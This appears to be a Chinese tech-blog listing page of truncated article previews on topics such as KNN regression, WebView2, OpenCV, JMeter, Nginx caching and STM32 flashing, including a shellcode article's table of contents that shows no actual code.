&#x1f44b; Hi, I’m Beast Cheng &#x1f440; I’m interested in photography, hiking, landscape… &#x1f331; I’m currently learning python, javascript, kotlin… &#x1f4eb; How to reach me --> 458290771qq.com 喜欢《数据结构》部分笔记的小伙伴可以…

机器学习算法 —— K近邻(KNN回归)

🌟欢迎来到 我的博客 —— 探索技术的无限可能! 🌟博客的简介(文章目录) 目录 实战KNN分类KNN回归模拟数据集 —— KNN回归库函数导入数据导入&分析模型训练&预测可视化模型分析总结实战 KNN分类 接上文:机器学习算法 —— K近邻(KNN分类) KNN回归 模拟数…

有个网友问Webview2如何另存为mhtml

有个网友问Webview2如何另存为mhtml 。俺查了一下&#xff0c;Webview2没有直接的saveas函数。然后我查到 之后我就使用 webview2 capture 这2个关键字去查询&#xff0c;果然搜到了 一段代码 然后我把这段代码 改成成C#的&#xff0c; string data await webView21.CoreWebV…

学会这几点,轻松制作引人入胜的电子期刊

随着数字化时代的到来&#xff0c;电子期刊已经成为了信息传播的重要载体。它以方便快捷、形式多样、互动性强等特点&#xff0c;受到了广泛的欢迎。那么&#xff0c;如何制作一份引人入胜的电子期刊呢&#xff1f;下面就来为大家分享几点制作电子期刊的小技巧。 1.选择合适的制…

你为什么学习c++?

C 是几乎所有现代面向对象语言的鼻祖&#xff08;注意是现代面向对象语言&#xff0c;还有一个“古代”面向对象&#xff0c;思想是消息传递而不是封装、继承与多态&#xff0c;Objective-C 就是消息传递的面向对象语言&#xff09;。刚好我有一些资料&#xff0c;是我根据网友…

vue2动态横条图(横条图样式定时切换)

每次切换成新图后会清除定时器和图&#xff08;重新加载&#xff0c;否则要么会重复加载定时器。清除定时器之后要先调用一次index为0的数据&#xff09; 数据样例 acrossBarDatas:{data: ["80", "80"],sunffix: [单位, "单位"],title: "标…

提取人脸——OpenCV

提取人脸 导入所需的库创建窗口显示原始图片显示检测到的人脸创建全局变量定义字体对象定义一个函数select_image定义了extract_faces函数设置按钮运行GUI主循环运行显示 导入所需的库 tkinter&#xff1a;用于创建图形用户界面。 filedialog&#xff1a;用于打开文件对话框。 …

链表OJ--超详细解析

链表OJ 文章目录 链表OJ1. 反转链表2. 返回K值3. 链表的中间节点4. 回文链表5. 相交链表6. 带环链表6.1 为什么一定会相遇&#xff0c;有没有可能会错过&#xff0c;或者出现永远追不上的情况&#xff0c;请证明6.2 slow一次走一步&#xff0c;fast如果一次走3步&#xff0c;走…

Jmeter如何进行分布式测试

使用Jmeter进行性能测试时&#xff0c;有些同学问我如果并发数比较大(比如最近项目需要支持1000并发)&#xff0c;单台电脑的配置(CPU和内存)可能无法支持&#xff0c;怎么办就需要使用分布式压测 1.分布式原理&#xff1a; 1、Jmeter分布式测试时&#xff0c;选择其中一台作…

Selenium IED-控制已打开的Chrome浏览器

本文已收录于专栏 《自动化测试》 目录 背景介绍优势特点操作步骤总结提升 背景介绍 在我们进行自动化测试的过程中有时候会遇见一个很棘手的问题那就是登录的过程中需要图片验证码&#xff0c;图片验证码设计的初衷其实就是为了防自动化&#xff0c;防止一些人利用自动工具恶意…

缓冲区设置

缓冲区设计 一、简介 在网络通讯中&#xff0c;用户态缓冲区和内核态缓冲区的大小设定对于优化网络性能和确保数据传输可靠性至关重要。下图是网路通讯的内核缓冲区使用情况&#xff1a; 数据的读写都需要进行系统调用&#xff0c;从用户态切换到内核态去接收数据&#xff0…

昂科烧录器支持TI德州仪器的超低功耗微控制器MSP430F2013IRSAR

芯片烧录行业领导者-昂科技术近日发布最新的烧录软件更新及新增支持的芯片型号列表&#xff0c;其中TI德州仪器的超低功耗微控制器MSP430F2013IRSAR已经被昂科的通用烧录平台AP8000所支持。 MSP430F2013IRSAR超低功耗微控制器由多种设备组成&#xff0c;这些设备具有针对各种应…

Shellcode详解

Shellcode详解 一、Shellcode的特点二、Shellcode的类型三、Shellcode的工作原理四、防御措施五、常见的PHP Web Shell示例5.1 简单的命令执行5.2 更复杂的Web Shell5.3 防御措施5.4 实际案例 Shellcode是一种小巧、紧凑的机器代码&#xff0c;通常用于利用软件漏洞或注入攻击中…

集体爆雷!突发中科院2区(Top) 被标记!新增10本期刊被“On Hold“

本周投稿推荐 SSCI • 中科院2区&#xff0c;6.0-7.0&#xff08;录用友好&#xff09; EI • 各领域沾边均可&#xff08;2天录用&#xff09; CNKI • 7天录用-检索&#xff08;急录友好&#xff09; SCI&EI • 4区生物医学类&#xff0c;0.5-1.0&#xff08;录用…

Nginx缓存之web缓存配置

Web 缓存可节约网络带宽&#xff0c;有效提高用户打开网站的速度。由于应用服务器被请求次数的降低&#xff0c;也相对使它的稳定性得到了提升。Web 缓存从数据内容传输的方向分为前向位置缓存和反向位置缓存两类。如下图所示。 前向位置缓存既可以是用户的客户端浏览器&#x…

处理耗时任务

目录 一 设计原型 二 后台源码 一 设计原型 二 后台源码 namespace 处理耗时任务 {public partial class Form1 : Form{public Form1(){InitializeComponent();}bool IsRun false;private string path Directory.GetCurrentDirectory() "\\古诗词.txt";private…

Vite+Vue3安装且自动按需引入Element Plus组件库

一&#xff0c;安装Element Plus npm install element-plus //node环境16二&#xff0c;安装插件 npm install unplugin-auto-import unplugin-vue-components -D三&#xff0c;配置vite.config.ts文件 //按需引入element-plus组件 import AutoImport from unplugin-auto-i…

stm32 下载程序只能使用串口1

stm32单片机用串口下载程序时候&#xff0c; 默认只能用 UART1&#xff0c;其他几个USART是都不行的。 因为在固件中ISP自举程序用的是UASRT1&#xff0c;如果想用其他串口下载程序需要修改bootloader 在硬件设计时一定要注意&#xff01;切记。 自己买回来的stm32片子只能用…